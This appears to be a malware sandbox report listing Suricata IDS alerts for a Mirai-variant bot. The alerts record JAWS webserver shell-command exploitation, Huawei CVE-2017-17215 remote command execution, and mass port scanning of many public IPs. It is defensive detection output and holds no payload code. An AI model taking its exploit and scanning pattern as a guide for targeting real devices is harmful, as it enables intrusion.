Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35124 -> 80.159.50.231:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39734 -> 148.179.123.65:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48102 -> 210.246.226.218:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:37570 -> 71.223.65.69:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48102 -> 210.246.226.218:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:37570 -> 71.223.65.69:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50878 -> 97.197.44.174:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50878 -> 97.197.44.174:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43854 -> 131.130.228.105:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:43854 -> 131.130.228.105:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52676 -> 41.231.63.71:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56794 -> 41.99.146.182:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:49990 -> 197.249.234.114:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:59106 -> 197.50.113.39:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59326 -> 68.241.111.73:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59326 -> 68.241.111.73:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45034 -> 110.127.114.232:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58652 -> 9.244.198.24:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45034 -> 110.127.114.232:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58652 -> 9.244.198.24:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:55200 -> 41.67.6.6:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:51068 -> 46.102.189.213:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:48788 -> 41.191.132.34:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:51068 -> 46.102.189.213:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52196 -> 41.28.29.27:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33932 -> 156.124.218.204:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36900 -> 166.87.180.30:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45800 -> 67.200.144.191:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36900 -> 166.87.180.30:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45800 -> 67.200.144.191:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50504 -> 183.72.35.241:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50504 -> 183.72.35.241:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35834 -> 62.81.97.71:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35834 -> 62.81.97.71:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:32922 -> 192.71.11.232:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:32922 -> 192.71.11.232:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33366 -> 168.40.98.66:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55418 -> 194.136.29.129:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43944 -> 82.36.75.217:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36486 -> 207.6.103.73:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:43944 -> 82.36.75.217:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:33366 -> 168.40.98.66:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59034 -> 91.25.207.212:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:32976 -> 62.140.60.247:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43906 -> 154.12.222.99:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59008 -> 210.235.160.60:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43092 -> 103.233.244.33:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59008 -> 210.235.160.60:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36486 -> 207.6.103.73:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59034 -> 91.25.207.212:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52656 -> 156.112.179.153:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:41052 -> 156.13.14.220:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35888 -> 186.91.189.154:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:32976 -> 62.140.60.247:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:43906 -> 154.12.222.99:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35888 -> 186.91.189.154:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55562 -> 49.174.199.230:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:48996 -> 197.229.68.102:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47234 -> 197.124.106.175:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34780 -> 115.232.232.112:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34780 -> 115.232.232.112:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:43092 -> 103.233.244.33:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:60632 -> 41.216.151.177:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55562 -> 49.174.199.230:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55418 -> 194.136.29.129:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60216 -> 77.229.189.177:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60216 -> 77.229.189.177:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53834 -> 41.68.184.21:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39940 -> 41.22.66.101:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:50940 -> 197.116.245.92:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:59990 -> 41.235.147.119:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41108 -> 57.128.103.183:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41108 -> 57.128.103.183:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56260 -> 187.32.72.153:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56260 -> 187.32.72.153:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:48844 -> 41.146.239.215:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:51124 -> 156.184.97.67:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:57582 -> 197.253.75.14:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:43848 -> 156.178.39.71:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33736 -> 156.172.76.226:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56998 -> 41.138.109.137:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:53390 -> 37.38.112.105:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:53390 -> 37.38.112.105:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:51518 -> 145.255.225.142:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:41294 -> 156.49.222.91:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:44704 -> 197.104.106.51:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:46292 -> 211.247.224.211:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:46292 -> 211.247.224.211:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:54090 -> 177.240.197.158:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:51518 -> 145.255.225.142:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56432 -> 126.89.116.149:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49984 -> 172.129.180.89:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42038 -> 133.63.128.152:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:46572 -> 77.166.16.193:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42038 -> 133.63.128.152:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39054 -> 62.206.122.112:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39054 -> 62.206.122.112:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:54090 -> 177.240.197.158:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36198 -> 71.107.70.58:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59728 -> 157.144.82.44:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56432 -> 126.89.116.149:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59728 -> 157.144.82.44:80

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 197.182.150.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.30.210.59 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.102.44.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.169.65.12 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.20.73.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.114.0.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.39.222.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.76.215.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.239.245.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.239.136.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.11.234.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.55.1.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.109.94.3 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.216.11.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.50.222.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.118.4.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.207.200.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.103.198.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.179.229.36 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.64.147.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.60.127.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.128.252.146 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.52.221.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.210.47.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.129.30.140 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.51.163.157 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.12.72.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.8.11.88 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.216.42.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.137.241.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.80.5.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.39.24.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.139.190.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.24.22.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.127.217.93 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.183.76.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.3.125.219 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.172.247.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.152.166.172 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.136.60.44 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.192.21.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.56.241.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.233.68.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.127.40.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.83.78.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.89.216.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.33.63.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.37.105.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.219.228.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.229.59.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.225.62.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.191.63.29 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.5.174.12 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.44.65.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.244.69.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.226.104.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.78.14.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.35.240.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.12.97.194 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.218.115.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.22.57.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.205.238.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.124.162.20 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.214.136.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.124.223.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.153.90.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.132.20.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.44.41.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.198.33.59 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.254.249.22 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.180.42.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.225.154.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.222.173.61 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.245.183.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.138.185.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.176.75.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.91.60.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.31.245.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.133.138.154 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.124.104.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.237.84.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.108.104.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.139.6.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.153.26.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.71.81.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.126.159.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.206.65.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.102.132.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.18.236.6 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.118.244.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.224.235.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.48.47.131 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.218.101.201 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.155.56.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.17.237.146 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.26.175.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.105.66.175 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.109.45.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.17.199.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.13.155.161 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.233.99.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.94.125.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.4.91.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.94.87.80 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.236.120.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.48.171.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.50.177.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.185.210.127 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.239.148.54 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.139.0.15 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.109.3.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.190.206.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.71.254.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.199.60.93 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.116.236.157 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.51.116.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.240.254.59 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.233.165.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.197.4.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.14.129.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.173.218.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.10.249.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.214.140.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.158.22.120 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.94.54.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.124.233.120 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.130.195.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.58.180.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.85.56.131 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.84.138.115 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.0.163.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.167.207.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.121.70.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.159.201.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.73.213.155 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.59.3.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.120.215.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.23.82.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.93.143.174 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.127.38.136 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.154.109.16 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.33.221.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.39.217.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.184.34.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.39.111.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.47.39.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.151.185.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.220.130.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.60.210.146 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.68.172.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.90.8.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.232.219.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.200.219.131 ports 1,2,3,5,7,37215
